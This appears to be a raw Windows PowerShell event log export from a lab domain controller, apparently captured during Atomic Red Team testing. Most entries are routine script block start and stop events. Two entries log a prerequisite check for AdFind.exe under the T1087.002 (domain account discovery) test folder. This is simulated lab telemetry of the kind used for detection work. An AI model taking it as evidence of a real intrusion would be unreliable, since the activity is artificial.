Message=Started invocation of ScriptBlock ID: 29c2e87f-d893-446d-9fe4-e07bf489d300
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478463
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 29c2e87f-d893-446d-9fe4-e07bf489d300
Path:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478462
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478461
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478460
Keywords=None
Message=Completed invocation of ScriptBlock ID: 72eddf12-5b9d-4006-a18f-22f4fda72008
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478456
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478454
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478453
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478452
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478450
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478449
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478448
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478447
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478446
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478445
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478444
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478442
Keywords=None
Message=Started invocation of ScriptBlock ID: 378d3c9c-7e66-4752-aa62-9136843a5efd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478440
Keywords=None
Message=Started invocation of ScriptBlock ID: 3e25f239-fa3d-49da-8dce-f103d67bd1b5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478439
Keywords=None
Message=Completed invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478436
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478435
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478434
Keywords=None
Message=Started invocation of ScriptBlock ID: d9432ec7-1113-4c2e-8d79-d8f910249f08
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478433
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ccf8614-5388-4599-8b4a-25a5522f098f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478431
Keywords=None
Message=Started invocation of ScriptBlock ID: 892cd5a7-1ed1-45c5-b2dd-9883bf181058
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478430
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478429
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3c5bb87d-08bd-4440-b210-b4cc8d4e6dc3
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478426
Keywords=None
Message=Completed invocation of ScriptBlock ID: f3afa0b4-27b1-4ed8-a9bf-0407783065fd
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2b670f81-ef54-4ee2-b41b-eb387ffa7643
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478424
Keywords=None
Message=Started invocation of ScriptBlock ID: 2b670f81-ef54-4ee2-b41b-eb387ffa7643
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478423
Keywords=None
Message=Started invocation of ScriptBlock ID: f3afa0b4-27b1-4ed8-a9bf-0407783065fd
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478422
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: f3afa0b4-27b1-4ed8-a9bf-0407783065fd
Path:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478421
Keywords=None
Message=Started invocation of ScriptBlock ID: 3c5bb87d-08bd-4440-b210-b4cc8d4e6dc3
Runspace ID: 8cda7be1-22da-4435-a072-9b50e2842368
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478420
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: 3c5bb87d-08bd-4440-b210-b4cc8d4e6dc3
Path:
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478419
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478418
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5184 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478417
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478416
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478413
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478412
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478409
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:06 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
